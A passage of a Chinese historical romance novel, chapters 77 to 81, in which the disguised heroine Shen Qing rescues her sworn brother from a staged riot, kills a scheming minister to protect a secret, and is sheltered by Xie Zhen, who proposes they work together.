与沈青不一样,萧瑞在朝中有实职,官阶不低,手上还有兵力。 想要从这样的人身上开刀,并非难事。 当然,无论两方斗得多么如火如荼,谢珩和世家中那些拥护他的子弟们,始终都是隔岸观火的局外人。 他们向来清正守礼,沈青燃出的那把火烧不到他们身上,世家长辈拿他们亦毫无办法。他们不会帮世家来对付沈青萧瑞,也不会替沈青萧瑞来向世家挥刀。 但是,以谢道清为首的一众世家弄错了一件事,他们以为萧瑞是沈青的左膀右臂,动萧瑞,就是砍断她的左膀右臂。 殊不知,沈青才是萧瑞的左膀右臂。 第78章 第78章这是天命(一更) 朝堂上与王谢二家的对峙,出现了反转。 沈青搜罗了王谢二家在朝中各处机要罪行,大刀阔斧肃清了一段时间,很快陷入僵局,虽然她这样能伤到对方的皮毛骨肉,但是无法直接给对方致命一击。 譬如谢道清这样最位高权重的人物,明明朝局于他们股掌中运筹,却“干净”得让人无所下手。 等对方稳住神来,予以的回击,是直中命脉的。 一开始,萧瑞会在任职过程中,“犯”下一些小错处,有时候是捱几十军棍,有时候是罚几月俸禄。 沈青也没太当一回事,她还在绞尽脑汁筹划着要怎样才能真正将谢家位高权重的人物肃清下来,以为对方只是恼羞成怒后,对萧瑞进行的一些无力回击罢了。 直到某天,萧瑞受命领兵进宫护驾,而陛下并无此诏,险些被当成逼宫谋逆遭金吾卫射杀,好在最后确定是宫内宫外传递消息时出现的失误造成的误会,尽力周旋后,免过此劫。 这才让沈青终于意识到问题的严重性,不是恼羞成怒的无能泄愤,是步步为营,直奔萧瑞而来。 这天听到手下汇报,说萧瑞去城郊执行任务,说是要驱逐一批在城外闹事的流民。 这会儿已经绷紧十二分敏锐的沈青,话还没听完,就从人手上拿过缰绳,翻身上马,一骑绝尘出了城门。 京郊一处,沈青是循着激烈的打斗喧闹找到萧瑞的,她赶到的时候,萧瑞虽披甲带枪,与一众禁卫军的士兵们,正被流民们围攻得步步后退,好几个禁卫兵身上,还受了不大不小的伤。 面对近乎失控的流民,有禁卫兵欲拔刀,被萧瑞呵斥:“先不要拔刀!” 沈青急急勒马,放任座下的马儿急停后踱了踱步子,她冷眼打量了一下周遭环境,三面荫蔽,一处平缓,是山匪们打劫时最喜欢的风水宝地,没想到有一天自己的人也要成为这瓮中之鳖。 若真只是一群普通流民,不会有这样的攻击性,坏就坏在,这些人里头,有的是趁乱取萧瑞性命的人,有的却真的只是情绪被煽动起来的普通流民,这样混乱的暴动之下,很难迅速准确地分清楚谁是谁。 萧瑞自然很被动。 且不说他在区分不清的情况下不会对百姓刀剑相向,就算他拔刀,伤的是伪装成流民的人,朝中当日便不知会有多少弹劾,扣下怎样滥伤无辜挑起暴动的罪名。 而他再不采取措施的话,暴乱的人群里,也不知谁会无声递出一把短刀或暗箭,取他性命,事了拂衣去。 “萧瑞!” 她清喝一声,萧瑞抬眸与她对上一瞬,她催动马鞭,身下的马儿高高扬起蹄子,风驰电掣往人群中冲去,席卷起一地尘灰。 人群被这膘肥迅猛的骏马冲撞,有人惊悚避开,有人闭闪不及吓得倒地,沈青勒紧缰绳,马儿腾空长跃,直接从倒地人群的头顶掠了过去,最后稳稳落入被流民们包围的范围内。 “快看啊!官兵纵马伤人了!” “既然不让我们活,我们跟他们拼了!” 两句一唱一和的煽动,迅速将冲散了的人群重新聚集起来,沈青凛凛坐在马背上,连半分眼神都不需要示意,身后一沉,萧瑞已经跃上马来。 照着方才怎么进来,身下的马蹄再次高高扬起,从人群中冲撞出去。 “大哥,我身后禁卫军那些兄弟怎么办?” 冲出重围,萧瑞回头望向还在被重重围困的兄弟。 沈青调转马头,从马鞍前取出一只匣子,整整一匣金银珠宝灿灿。 “官兵发银子喽!” 她一把一把抓起匣子中的金银珠宝扬手往外洒,一边驱动马儿继续前行,天女散花铺天盖地之势,都是货真价实的金银珠宝啊! 那些被三言两语煽动起来的流民们,见到这样的情景,哪里还顾得上要跟官兵们拼个你死我活,谁有银子不捡非要去拼命呢? 哄抢之下,一时间再想将他们煽动起来已经无能为力。 匣中最后一锭银子被洒出,沈青连带着匣子也扔了出去,就着落下山脊的日头洒下最后的光芒,两人一前一后同骑着一匹马,往城门疾驰而去。 惊心动魄的情绪随着耳畔掠过的阵阵冷风平复下来不少,萧瑞坐在马背后,猛地发现,隔得这样近的情况下,大哥的肩背竟然比自己瘦窄了很多。 可是也不影响他在马上的英姿烈烈。 “大哥,没想到你竟然会骑马。” 印象中,他从没见过大哥在马背上英姿飒爽的模样,他在莽山也没学过骑马,这都还是来洛京在营中学会的,他一直以为,大哥不会骑,所以没教过他。 沈青翻了个白眼:“你不知道的事情还多着呢。” 莽山没有马,当然是因为崇山峻岭实在没必要,况且养那么多兄弟,哪里还有闲钱养马? 感觉她语气不太好,萧瑞识趣地不再说话。 等日头彻底落下山脊,将最后一束光芒收走,一弯明月无声无息挂上树梢,清清冷冷映照着疾驰赶路的人。 到了城门,沈青先下了马,没有跟萧瑞进城,临行前叮嘱他:“回去查今天这些流民,有人在背后做手脚,我们就来查。” “大哥你要去哪?” “我自己走走。” 沈青没多说,看着萧瑞进城后,她转身而去,直接去了义庄。 踩着清冷的月光,村里村外一片瘆然,深秋冷夜的风格外凛冽,有人家漏出的纸钱在月下翩跹,还有的人家懒得将挂出来的小纸人每天来回搬弄,就高高挂在檐下,乍一抬眼,真是令人心颤胆寒。 沈青就觉得自己现在格外心颤胆寒,王谢二家对萧瑞一次一次下手,看似小打小闹,实际随时都能在某个不经意间要了他的命。 只是一群流民闹事,她能怎么大做文章呢?她做不出文章。 但凡今日这里头混了个绝顶高手,萧瑞必死无疑。 即便这次没成,还有下一次,下下次…… 她不觉得是萧瑞的身份别人察觉,感觉更像是……只是想剪除她 的左膀右臂,误打误撞直切要害。 目前她对王谢二家的清肃陷入停滞,他们再这样步步紧逼下去,若萧瑞真出事,很难有翻身之地的是她。 她面上不显,其实心里已经知道,她已经自乱阵脚了。 必须要快刀斩乱麻,迅速结束这个对她完全不利的局面。 到了义庄,她没有如愿见到晋王。 晋王只让人给她传了话,说“撼大摧坚,徐徐图之”。 可是如果萧瑞出了意外,那还怎么个图法呢? 晋王好像知道她要问什么,让她想一想义庄下多年不见天日的无字牌位,世上之事,并非有热血与道义,便一定能成。 时也命也,就是天命。 出了义庄,脚下踩着的月光,踩一步,就碎一地。 月光的温度一定是冰冷的,铺洒一身凉透。 其实晋王的话也没有错,他是亲眼见证过“正麟事变”的人,见到过那些一腔热血要为民请命的有识之士,现在只能被压在义庄下不见天日。 他有耐心等待萧瑞成长回京,也能接受他没有回来,或者再次失败,然后继续等待下一个机会,等不等得到,他其实没有执念。 这就是天命。 可是沈青不一样,遥远的经历于她而言,无法让她产生看透世事之感,那些血腥的残酷反而会隐隐激起她内心深处滋生的仇恨。 她没想过要怎么去面对事败,在她这里,不可以发生。 何况这么多年她与萧瑞一同成长,互相扶持,早就是彼此手足,事关萧瑞,她也做不到置身事外从局外人的眼光去谋事。 冷风将她映在月色下被拉长的身影也吹得凌乱,和挂在屋檐下纸人肆虐翻飞的影子也重叠到了一起。 沈青盯着地面上诡异重叠在一起的两只影子,心想这时候她要是那只挂在檐下的纸人就好了。 忽然,她目光盯着地面,有瞬间的凝滞。 清清冷冷惨淡月色里,两只被夜风吹得时时交叠的影子里,出现了第三道影子。 只匆匆在月影里掠了一瞬就俶尔消失,那一瞬间沈青视线里捕捉到的角度,影子的主人离她还有些距离,不远不近落在她身后某处屋梁之上。 她若无其事踏着月光往前走,走过家家紧闭的门户,偶尔有风吹起的纸钱打折旋儿往她身上铺。 月下身姿,舒展而闲适,飒沓飘逸,像深夜从地府遛到人间游荡的俊俏鬼公子。 直到出了村口,周遭的阴气才渐渐散去,身后跟着的那只暗鬼,也悄悄离去。 沈青勾唇露出一点无奈笑意,果然还是自乱阵脚了,难怪晋王今日不见她,到底还是比她老辣明智许多。 待那人走得远了些,沈青循着对方离去的方向,青影无声无息隐于暗夜之下。 那只暗鬼潜过城门重新进了城,又一路到了皇城外,亦没有通过宫门,而是翻过皇墙,避开宫城的守卫防护,进了一间阁楼。 沈青如影随形,轻飘飘隐在阁楼某处屋檐梁柱下。 第79章 第79章更深露重,不知该给自己…… 弯月如镰,转过檐角朱阁,将阁上正正方方的牌匾映得清晰可辨别,这里是尚书阁。 沈青贴身隐藏在一间厅阁的横梁下,透过檐缝可见,厅阁的书桌前案牍累累,坐着一位气质斐然的中年男子,那样的气派,可以想象,年轻时也是众多谢氏子弟中出类拔萃的存在。 这便是当朝尚书令谢初原,统筹六部尚书,与中书、门下互为勾连,是谢道清的左膀右臂。 此人年纪不算大,但是按辈分算,竟然与谢珩的祖父谢庄是同辈,连谢道清也要唤一声叔父。 沈青知道这人厉害,手下勾连错综复杂,行事缜密狠辣,在朝中翻云覆雨数年间,不知谋了多少财,害了多少命。 甚至当年的正麟宫变,也有他的推波助澜。 但她抓不到任何有关于这些罪行的把柄,所有线索最后的落脚点,他都能置身事外,永远查到离他最后一步时,线索就断得干净。 此时那个在京郊义庄附近跟了她一路的暗卫,正在桌前向他汇报情况。 “你在那间义庄发现了沈青的行踪?” 听谢初原的反问,沈青意识到,那暗卫本来不是跟她的,她只是别人的一个意外发现? “千真万确,属下亲眼见沈青进了那间义庄,和里面的人交谈了好一会儿才出来。” “那义庄……” “那义庄十分诡异,周围藏了守卫,属下不敢贸然进去查探,不过蹲守了这么些天,确实亲眼见过晋王府的人也来过此处。” 谢初原陷入沉思:“一间小小的义庄,能让沈青和晋王都同时涉足,那这其中一定有一个惊世骇俗的秘密。可是沈青为什么会和晋王有关系呢?” 一个是从不问朝政的富贵闲散王爷,一个是从渝州招安入京不到一年的匪头,这两个人能有什么联系呢? 沈青身子紧紧贴在梁下,眸光漆漆,像潜伏在暗夜里的一只小兽,紧紧盯着不远处的猎物。 只看见桌案上烛光晃动中,谢初原也在桌案前来回踱步,思忖间,暗自在心中低语。 晋王……宫中年岁尚小时就罢了,即便开衙立府后,也从未涉足过朝政,就算是正麟宫变,也能免受波及…… 等等,正麟宫变,对了,晋王跟当年的成王,可是一母同胞的兄弟,比跟当今陛下血脉还要亲厚! 想到这一点,谢初原如梦初醒:“不对啊,沈青……沈青的那个义弟,对,萧瑞!” “萧瑞,萧瑞!”他忽然低呼出来,脑海中那副眉眼更加似曾相识。 萧瑞他也姓萧啊!如果按年岁算的话…… 他一刻也不能再等,连声音都带上颤音:“去,马上带上谢家的亲兵,去查抄了那间义庄。还有……” 他理了理身上的衣摆,来不及再看一眼桌案上的案牍:“我现在就回谢府。” 身边的暗卫不明所以,只听到他反反复复低吟了几声“萧瑞”这个名字,就如此激动,想来事关重大,忙领命准备去办事。 谢初原没有向暗卫透露出他这点电光火石间冒出来的真相,但沈青却完全知道他猜到了什么,一旦他回到谢府,将这番猜测告知谢府其他人,于她和萧瑞,都将是灭顶之灾。 略略估算了一下尚书阁的守卫。 厅外阁前,都是按宫规布置的守卫数量,这些侍卫驻守在外,听到动静赶过来需要一点时间。 但是这间厅阁四角,分别藏了四名暗卫,都算得上一等一的高手,以及谢初原身边还有一个。 要在厅外阁前守卫赶来前,在五名身手不凡暗卫手中,取下谢初原的性命。 无论成与不成,她都没有别的选择。 澄澄明灯透过窗纱,将窗扇菱花浅浅映在阁前的台阶上,阶前夜色清凉宁静。 “有刺——” 夜寒如霜的空气里,一道长啸破空而来,还没说完后面的字,声音在空气中仿佛生生被折断。 澄亮的明窗俶尔陷入黑暗。 “有刺客!快保护谢大人!” 厅外阁前的侍卫们反应过来,纷纷涌向朱阁上黑寂的房间。 原本已经陷入沉睡中的皇城,在一阵惊呼喧闹声中,宫灯依次点亮,宫墙下长道前,时不时有阵阵急促而整齐的脚步,都是调往尚书阁去的侍卫和禁军。 已经夜深人静的宫外长街,沿街的商铺早就关门,偶尔倒是还可以看见一两只灯笼在夜风中摇曳。 月光清淡铺洒在寂静无人的长街上,沈青沿着长街,慢慢往沈府的方向走去。 她脚下有一点虚浮,所以走了很久,走到迎面碰上宫外巡防的队伍,竟也披甲带刀匆匆赶往宫中,她侧身在一处柱子后避了避,直到那支队伍离开,她抬眸忽然发现,一路沿街的屋顶有一层恬淡的光泽,原来不仅仅是月光,是深夜起了白霜。 怪不得从脚底到肩背骨髓,无处不清寒。 不过一切都很庆幸,庆幸今日去了义庄,庆幸在月光下看到那抹多余的影子,庆幸谢初原在她眼皮下发现了秘密。 这或许就是天命? 从皇城到沈府,可能是夜半风凉,这一路比印象中要漫长许多,等她终于迈着步伐挪到沈府时候,看到八角灯照映下熟悉的门庭牌匾,她真是笑不出来。 沈府朱红的大门被火光照得在夜色中也格外鲜明,一群身披甲胄的亲兵们依次排开,牢牢挡在沈府大门前。 谢道清长身立于前,眉目冷冷。 见沈青孤影一只从深寒夜色中走来,他拢了拢衣袖,好整以暇上前打招呼:“如此深夜,家家闭户,沈公子不在自己府上待着,怎么从外面归来?” 沈青笑意不羁:“这个问题,恐怕该我的夫人质问我吧,怎么丞相倒有这份闲心来管人夫妻事了?” 谢道清不跟她废话,冷声道:“一个时辰前,尚书令在宫中遭人杀害,现在皇城上下戒严追凶,我抱着试一试的心态来沈府看看,没想到你果然不在府上,就只好在这守株待兔了。” 沈青挑挑眉头:“丞相怀疑我是凶手?” “他遇害,而你不在府上,这难道是巧合吗?” 沈青摊了摊手,无奈道:“你看,尚书令一死,你第一时间就怀疑我,马上亲自带人封了我的府门。瓜田李下的道理我还是懂得的,谁都会怀疑我的情况下,我避嫌都还来不及,我还去杀人?莫不是你们自导自演栽赃我吧?” 谢道清目光在她身上审视一番,抬手下令:“既然有嫌疑,就先带回去审问,是否真凶,一查便知。” “我看谁敢!” 话音刚落,另一道声音愤然打断,一队银甲铁枪的禁卫军冲上前来,一字排开,挡在沈青面前。 横了一把长刀,将她护在臂弯前的是萧瑞,少年锐气难当,将刚才要冲上前捉拿沈青的谢家亲兵逼退两步。 两支队伍在沈府大门前对峙起来。 谢道清冷笑起来:“我竟不知,朝廷的禁卫军,竟然成了你沈青的私人护卫。” 萧瑞反唇相讥:“我也不知,原来谢家的亲兵,可以毫无根据诏令,就直接登门捉人?” 有人上前在谢道清身边耳语几句,谢道清露出一个了然笑意,连语气都舒朗起来,颇有耐心地跟沈青协商道:“方才审过案发现场几个暗卫,说是有人一掌打中了刺客的背心,这便很好判断了,沈公子,别说我没给你机会自证清白。” 沈青立在那儿没有动。 萧瑞纳罕,回头去看大哥神色,借着火光憧憧,她的脸色唇畔,细看之下,是隐隐透着一丝虚弱的苍白。 他迅速反击回去:“怎么堂堂丞相,竟然要逼人当街脱衣服?这事恐怕告到御前也说不过去吧!” 谢道清的语气立刻笃定起来:“要是沈公子心虚的话,就别怪我不客气了!” 身后亲兵铮然亮出长刀,萧瑞这边的禁卫军也不甘示弱,与谢府亲兵刀剑相向。 锃亮刀光,憧憧火光,满目耀眼的激烈,将沈青脸色映得更加苍白。 她的脑海中已经是一片空白。 杀谢初原,是要将那个秘密彻底扼杀在他口中,永无说出来的机会。 他身边守卫森严,高手如云,最坏的打算,她是抱着用自己这条命来换这个秘密的心态,不过被她逃出来了。 但是眼下…… 她只能想,该怎么把萧瑞摘出去。 谢府的亲兵正步步逼近,她身前的禁卫军不动如山,只要兵刃交接,一切性质就不一样了,萧瑞就再难摘出去了。 “住手!” 她张嘴喊话,那声音却不是从自己口中发出的。 空气中,好像连火把的跳跃都静止了。 她循声看了过去,马蹄哒哒,白衣鹤氅的公子坐在高头大马上,身后一众紧步跟随的亲兵,身上甲胄穿着,与谢道清身后的亲兵无异。 来人渐渐逼近,终于可以就着火光看清他俊逸无双的眉目,即便他身披一件厚厚鹤氅,也遮掩不了他一身比秋霜更甚的清寒冷肃。 所有人都屏气敛声。 “瑾之?”谢道清低低喊了一声,声音里盛满犹疑不定。 而沈青,连喊一声,都喊不出来。 朝局中,沈青萧瑞和王谢二家,此起彼伏的两两相斗,谢珩已经消失太久了。 他的忽然出现,于哪一方而言,都是极令人悚然的一件事,谁都怕他站到自己的对立面。 本来还算势均力敌的拉扯对立,一旦谢珩做出自己的选择,于另一方而言,无异于灭顶之灾。 他座下马儿哒哒踩在地面的脚步,好像一步一步踩在每个人心头,等他彻底靠近时,无论是谢道清的亲兵,还是萧瑞的禁卫军,此时都变得尤为默契,各自退开两步,给他让出一条道。 他垂眸瞥了一眼谢道清的身后。 然后翻身下马,径直向沈青走去。 沈青身前的禁卫军顿时神色紧绷,握紧手中刀刃,萧瑞也变了脸色,忙将沈青紧紧护在臂前。 几枚刀刃就在颈前,谢珩不得不停了脚步,隔着几人的距离,与沈青相望。 刀光火影下,他五官眉眼更加分明,一身肃寒气势骇然。 沈青呼吸都滞住,她意识到,此时他看向自己的眼神,和小金顶被官兵端掉那一夜他看过来的眼神格外像。 憧憧清眸,亦如初见,星河漫天。 电光火石间,她脑海中一路回转起两人相遇相识后的无数画面,平心而论,有过很多相知同行的时刻。 她总留恋于,那些细碎的画面里,有很多填满过她的温暖。 但是她现在在与整个谢家为敌。 她没有信心。 “让开。” 谢珩的声音很温柔,但绝不可违抗。 挡在最前面的几个禁卫军经受不住这样的压迫,竟然真的讷讷移开手中刀刃。 只剩萧瑞一柄长刀挡在身前。 谢珩微低下头,长指如玉,缓缓解开颈前氅衣的结带,不顾身前长刀,继续向前逼近。 随着他的逼近,萧瑞终于一点一点将长刀放下。 两人之间再无阻碍。 沈青抬眸,可以看见那张雕霜斫玉的面容近在咫尺,长睫掩映不住目光流转间的温柔,连带着,她看见那双清瞳里,自己的倒影都变得可亲。 身上忽然一暖,谢珩身上的那件厚重鹤氅已经罩了上来,将她单薄青衣严严实实裹住,骨节分明的一双手,正在她颈前系着结带。 “更深露重,不知该给自己添衣吗?” 第80章 第80章他们会一直同行,永不分…… 等沈青彻底回过神的时候,她此时正坐在谢珩卧房里的软榻上,怀里被塞了个汤婆子,身上还是披着那件尤带着对方体温的鹤氅。 郎中已经来看过伤势,背上有掌印淤青,主要是内里被震到,好在她闪得及时,倒也不算重,开些伤药休养几天便好。 不知道沈青是什么毛病,谢府名医圣手不知多少,但她只允许自己从莽山带下来的老郎中给她看伤,这事犹如她为人处世的底线,不可有半点退让。 同样,上药这件事情,她也只允许岳瑛上手,反正她也不会放心让岳瑛一个人留在沈府, 谢珩不想在这样的事情上跟她纠结纷争,于是不仅请了那老郎中,干脆把岳瑛也接到谢府,安排在最西边的厢院里住下。 现在看过伤上过药,卧房里又只剩下两人。 房中明灯如昼,这间谢珩起居行止的卧房非常宽敞简约,不过沈青完全没有来得及好好欣赏一下房间主人的品味,一阵无形中的压迫扑面而来。 谢珩搬了一张宽椅放在软榻前,拂衣在她面前坐下一瞬,她的一颗心却往嗓子眼提了一下。 她长睫微垂,入眼便见披在身上的鹤氅,方才上药,本来系在颈前的结带松散下来,在等着主人重新将它们系上。 那样的画面,她简直不敢再多回想,可是谢珩低头垂眸专注为她颈前系上结带的神情就是不受控制浮现在眼前。 等颈前结带系上,他才泠泠回身:“这个人,我带回谢府了。” 谢道清简直以为他疯了:“这是刺杀尚书令的疑犯!你要公然包庇?” 谢珩眉眼从容间隐隐有一丝乖戾:“是不是疑犯,本官说了算。” “跟我走吧。”他回过头,手掌握住氅衣一角。 “给我拦住他们!”谢道清喝道。 他身后亲兵纷纷拔刀向前,谢珩神色疏淡,连眸子都未抬一下,他牵着她氅衣,所过之处,自有重重围障,无人真正挥出第一刀。 “丞相今晚最好专注尚书令死案本身,别妄想祸水东引,陛下那里我自有分辨。” 他没有回头,最后留了一句话给谢道清。 眼下的困局,谢珩便像一根救命稻草,至少是这一瞬间最好的选择了。 沈青脚下不停,很识趣地跟着她的救命稻草。 然后她就进了谢府,进了上次没有来的内院,最后还进了谢珩的卧房,被他安置在卧房铺了层层锦被的软榻上。 再然后……老郎中和岳瑛也被接来了。 “我以为在陈郡侯府的宴席上当堂杀人已经是你最大的能耐,没想到还是低估你了,竟然敢进宫刺杀当朝尚书令。” “当真是悍匪难驯。” 谢珩出声突然将她思绪拉回,清润的声音像镀上一层月光般轻柔,挠的人心里丝丝痒痒的。 明明句句在讽刺,怎么讽刺之音里,她竟然听出了几分赞许纵容之意? 沈青抬眸去看他神色,清疏眉眼间确实是柔和的。 这次动手完全在计划之外,事发太过于猝然,没有半点伪装余地和全身而退的计划,一定留了很多破绽。既然他看得出破绽,或许别人也看得出。 “你怎么知道凶手是我的?” 谢珩垂眸,明灯晃晃下,抬眼望过来的那双眸子清澈干净,星星点点。实在是很难将眼前这天真散漫的小公子与翻墙入宫灭灯杀人的刺客联系到一起。 “我去看了一眼现场,谢初原是被人勒断了脖子,凶手应该是不想有血溅到身上留下线索,所以在翻窗进来时,随手扯了窗下纱幔来当做杀人凶器。” 说到这,他一双清眸如许望向她,那眼神好像在说,随手拿件什么事物就用来当武器的人,除了她,他实在想不到第二个。 沈青恍然大悟,她不喜欢随身常用一件武器,一来是觉得累赘,二来也是不想有人因此识出破绽,没想到从不带武器,竟然也能成为一个破绽。 “原来是这样。” “……不过说起来,我毕竟是杀了你们谢家非常重要的一位长辈。”她抬眼盯着谢珩,语气认真地再次阐述了这个事实。 在沈府门口与谢家亲兵的对峙想起来还令人有些心惊,谢珩于两军对峙中径直向她走来的画面甚至还让人觉得很不真实。 谢初原是何许人物?当朝尚书令,凌驾于六部之上,是丞相谢道清的左膀右臂,也是谢家举足轻重的长辈,他的死,意味着无论朝堂还是谢家,都是一件拆骨扒皮的损失,铜墙铁壁真正开始摇摇欲坠。 明知她是这件事的始作俑者,谢珩今日的选择,就很耐人寻味了。 面对她的试探,谢珩无奈,轻叹了一声:“我倒是庆幸,你动手杀了他,这样的话,就好办许多了。” 沈青眸光微动,继续盯着他。 “一只九连环,怎么拆都拆不开的时候,直接砸碎,局面不就迎刃而解了吗?”他继续解释。 不错,虽然今夜事发仓促,纯属意外,她甚至在动手的瞬间,还没想那么长远,只是坚决不能让萧瑞的身份被暴露。现在暂时全身而退,猛然发现,那只阻拦了她很久的九连环,直接被她一把砸开了。 “可是……那只九连环,就是你们谢家诶,不管怎么样,你都是冠以谢氏名姓、身上留着谢氏血脉的谢家子弟。” 谢珩这次的叹息声更重了一些:“沈青,不管我身份如何,请你信我,我和你始终都是同路之人,永不会分离。” 他俯下身来,双肘撑在膝上,目光自下而上望着她,灼灼坚定像在表露衷心。 虽然知道他说的是朝堂事,可沈青被他这话说得心口不受控制猛跳了几下,她微微别过脸去,只有自己感受到的异常心跳,像做贼心虚,生怕被别人发觉。 “或许你应该能察觉到,我最后想要做什么。”她小声提醒道。 她要破了世家的高墙铁壁,她要为寒门广开生路。 她想要天下,再无世家寒门之分。 所以,谢家,在她的计划中,注定要凋敝。 谢珩在她身前娓娓道来。 “我自出生起,就浸淫熏陶于洛京世家,从不知洛京世家之外是怎样的天下。后来我去了渝州,看见了许多在朝廷弊政下民不聊生的百姓,自认有救百姓于水火之责,所以整治贪吏暴政,清剿匪患,就遇见了你。” “如果没有在小金顶的那段时光,没有你时时指引,我或许永远都看不到,原来天下苍生之弊,其实就是生养我的洛京世家。也许我会在朝中自诩清正勤勉,但始终以维护家族利益为先,成为下一个我二叔这般人物。” “谢家百年清门,书香门第,即便是遵循先贤之志,那也是与今日的谢门背道而驰了。” “所以沈青,你不能因为我出身世家,便否定我与你同样的愿景。” 同样希望天下百姓安居乐业,世家不再专权独大,寒门不再求生无路。 说到最后,他目光中星河依旧,望向沈青时盛满真挚的虔诚。 沈青微微顿了呼吸,这张时不时惊艳她春闺深梦的面容,此时正目光澄澄略微仰视着她,她第一次觉得,近在咫尺,终于只在眼前,而非天堑之外。 她想起来了,很早的时候,沈哲就说过,她和谢珩是同路人,即便分道扬镳,也会殊途同归;后来王容也让她不必顾虑,她走的这条路,也是谢珩在走的路。 现在谢珩亲口告诉她,他们会一直同行,永不分离。 “谢珩,我……” 她喉头哽了哽,不知要怎么继续这场对话。 谢珩重新坐直了身子,声音又变成从头顶轻轻缓缓荡开。 “你与其选择投靠晋王,不如选择跟我合作。” 沈青顿时一凛,也绷直身子:“你……你也知道了?” 谢珩无奈提醒她:“雁过留痕,洛京之中,盯着你的眼睛比你想象中的要多太多。” 她忙追问:“那你还查到别的什么了吗?” “你希望我还查到些什么?” 谢珩带着几分疑惑与审视,沈青不动声色松了口气。 目前看来,所有查到晋王的人,应该都只是猜测她可能投靠了晋王,暂时还没人查到萧瑞身上去。 “怎么跟你合作?” “就像这次一样。” “这次?” “你在先动手摔碎九连环,我垫后替你清理碎片。” 沈青一颗飘忽高悬着的心,因这句话而有了支点,今夜谢初原之死,不知要在朝中掀起多少惊涛骇浪,谢珩决定插手此事,她终于不是孤军奋战。 她扬眉笑起来:“我明白了,就是我负责杀人,你 负责埋坑。” 这活她跟莽山的兄弟们做起来并不陌生,放到朝堂,非要类比的话,其实也差不多。 谢珩一张俊脸明显一沉,他试图纠正过来:“只不过是你我各有所长,你负责杀人灭口,我负责运筹帷幄。” 沈青听得眉头直拧:“这不就是跟我说的同一个意思吗?可你怎么只夸你自己?” 谢珩莞尔:“也是在夸你。” 两人相视了然,其实过往也不止一次,他们都是这样配合的。 沈青还欲辩驳什么,身前的人已经从宽椅上站了起来:“浴房中浴汤这时候热度刚好,今晚你受了不少凉,先去沐浴驱寒吧。” “啊?” 话题忽然转折到沐浴上去了,沈青反应了会,谢珩不知不觉走远了,在书案前坐下,信手翻开了眼前书册。 见她未动,居然又问了一句:“你需要唤人伺候吗?” “啊,不用不用!” 索性至少今晚算是捱过去了,明日要面对些什么,明日再说。 沈青麻溜地从软榻上爬起来,不得不说,真正富贵豪奢的人家就是令人开眼,连净房浴房都是直接在卧房的内室里面,这样想要更衣沐浴之类,都不必出卧室大门。 确定谢珩真的认真看起了书,她轻手轻脚掀开一层珠帘,原来内室里,净房和浴房又是隔开的两间。 “等……等一下。” 刚往内室迈进一只脚,就听见谢珩在后面喊她,她下意识又将脚缩回来。 “干嘛?” 谢珩依旧坐在书案前,手上的书册还紧捏在手中,他抿了抿唇,神色有些郑重,看得沈青忽然都紧张了一下。 “你刚刚上过药,等会伤口别沾到水。” 沈青松了口气:“我这又不是外伤。” 不是,她又不是三岁小孩。 又等了一会,见谢珩好像没有什么话要叮嘱了,她重新指了指珠帘:“那我先进去了?” “嗯。” 谢珩低下头,迅速重新将目光专注于手上书册。 再次迈进内室,她直接进了左边的浴房,里面空无一人,一张墨竹屏风后,隐约可见浴汤正腾腾生雾。 她深吸口气,就是因为这热汤腾腾,让人一阵脸热。 80-90 第81章 第81章他清冷的眸底有暗潮翻涌…… 沈青绕过那张又高又宽的双折屏风,屏风后的浴盆竟然比卧房中的软榻还要宽长,腾腾水汽中氤氲的清苦药香与不远处架上兽脑香炉里的清甜梨香在空气中融合,她终于明白,谢珩身上总是有那样若有若无的清香,来自于何处了。 她回身仔细又检查了浴房的门闩是否闩紧,才重新绕回屏风后,褪掉身上衣物,踩了软藤编就的草席,再一步跨进浴盆中。 蹲下身的时候,温烫的浴汤刚好没过肩背,这只浴盆足够宽大,里面置了一张漆足凳,坐在凳上,靠着桶壁,浴汤也正好与肩齐平。 浴汤中泡了药包,呈现出浅褐澄澈的琉璃色,药包中那些珍品名药,好像就随着浴汤,一点一点浸润肌肤,流淌进五脏六腑里,驱散掉身体里所有冷寒和疲惫。 沈青不由得舒服地喟叹了一声。 她舒舒服服靠着桶壁,砰砰敲了敲浴盆,沉厚的黄梨木发出脆闷声响,浴盆外,抬手可触,左边是一张小漆桌,放置了洗石、澡豆、木梳之类的物品,还有一只铜扁暖壶,等浴盆里水温稍凉一些,能继续添加热汤。 右边也有一张小漆桌,是雪白香软的巾帕,还有一套一应俱全的成衣。 她从小漆桌的琉璃盏上捏起一只澡豆,表面竟然光滑如珠,细细嗅来是说不出的名贵暗香,浅浅淡淡,香味怡人毫不突兀,放在浴汤中轻轻捻开,便化成无数细雪沫子般的泡沫。 浴房中一件件具体事物不断冲击着她得视线,简直不敢想象,她此时此刻,正坐在谢珩的浴房中沐浴? 谢珩当初在小金顶上,那样简陋苦寒的日子,究竟是怎么捱过来的啊! 她扭头继续四下张望,霍然看见浴房里侧有一张比人还高的水铜镜,对着浴盆的一角,将身子侧过来一些,就能照见镜中的自己。不过此时镜面已经被水雾模糊,隐隐约约可以看见有个人影正对着铜镜很是新奇地晃来晃去。 虽然看不清镜中人的五官面貌,她还是忍不住笑出了声,谢珩这种在人前风轻云淡清越如仙的君子,沐浴的时候肯定也是坐在浴盆里打量镜中的自己,说不定也十分欣赏自己的风度翩翩呢。 不然他为什么要把铜镜放在那个位置? 可见再端正的人,也是难以免俗的。 她忽然又想起谢珩刚刚问她需不需要人伺候,那语气稀疏平常得好像在问,今日晚膳她想要吃什么。 所以他平时沐浴的时候是脱了衣裳让人伺候吗?怎么个伺候法呢?是院中的小厮还是那两个美貌的丫鬟? 想来想去,她最后想象,此时此刻,要是有两个神仙般俊美的公子在左右,最好都要跟谢珩一般俊美,一个给她添水,一个给她捏肩,如果每天能过这样的生活,这一生的权势富贵,也太值得舍命相争了。 在浴汤中泡得太久,水汽氤氲浸润着她每一根发梢,如果此时她是一片茶或者一朵花,她想她应该已经被泡得彻底舒展松散开……然后开始散架。 可是这样舒展松散着,让人没有力气再多动一下,靠在桶壁上完全放松的状态下,满盆的浴汤会轻轻将人身子托起,又放下,摇摇荡荡。 在这样温柔包裹着的晃荡中,沈青觉得自己的身体也变成了一艘小船,晃着晃着,不知怎么,就晃到了小金顶的瀑布上。 漫天星辰,夜凉如水,白天的炎热和喧闹都消散,等所有兄弟都进入梦乡,她独自一人泡在凉沁沁的水里,只有身前流水与她相对,一个完全真实的自己。 “沈青?” 有一道声音,像是循着水声,不远不近落在耳畔,亦如流水般清润缠绕。 “啊!?” 